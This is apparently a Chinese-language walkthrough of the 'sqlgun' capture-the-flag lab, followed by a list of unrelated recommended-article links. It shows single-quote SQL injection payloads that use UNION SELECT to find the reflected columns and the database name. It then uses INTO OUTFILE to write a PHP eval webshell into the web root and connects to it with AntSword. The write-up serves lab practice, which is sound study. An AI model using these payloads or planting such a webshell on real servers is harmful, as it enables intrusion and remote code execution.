sqlgun靶场通关攻略

尝试在URL中测试一下sql注入,但是禁止注入

那么在输入框中测试一下xss,存在xss,那么极有可能如果存在sql注入在这里

在测试时,出现了这个搜索框的源代码,可以看出是单引号包含,所以可以测试闭合方式为单引号的sql注入

经测试,确实训在sql注入,闭合方式就是单引号

那么接下来测试回显点,得到2,3两个回显点

-1' union select 1,2,3#

爆数据库名,得到数据库名sqlgunnews

-1' union select 1,database(),3#

既然存在sql注入,那么我们可以尝试一下写入一句话木马进行测试

但是缺少绝对路径

我们对IP进行目录扫描一下看一下有什么可以用的

发现有一个phpinfo.php文件,访问一下

得到网站根目录/var/www/html

那接下来构造payload,将一句话木马写入根目录

-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/var/www/html/zxin.php' #

访问zxin.php文件,我们的一句话木马就在进去了

使用蚁剑谅连接一下,成功连接

在根目录中可以找得到falg文件

相关推荐
编程阿布9 分钟前
Python基础——多线程编程
java·数据库·python
冰镇毛衣11 分钟前
4.5 数据表的外连接
数据库·sql·mysql
又蓝11 分钟前
使用 Python 操作 MySQL 数据库的实用工具类:MySQLHandler
数据库·python·mysql
庄小焱17 分钟前
Java开发经验——数据库开发经验
数据库·系统设计·代码重构
开心工作室_kaic18 分钟前
springboot498基于javaweb的宠物猫认养系统(论文+源码)_kaic
java·开发语言·数据库·美食
跨境商城搭建开发23 分钟前
一个服务器可以搭建几个网站?搭建一个网站的流程介绍
运维·服务器·前端·vue.js·mysql·npm·php
mqiqe28 分钟前
Linux 安装rpm
linux·运维·数据库
海绵波波10731 分钟前
flask后端开发(8):Flask连接MySQL数据库+ORM增删改查
数据库·mysql·flask
凡人的AI工具箱31 分钟前
每天40分玩转Django:Django文件上传
开发语言·数据库·后端·python·django
言之。32 分钟前
【MySQL】索引 面试题
数据库·mysql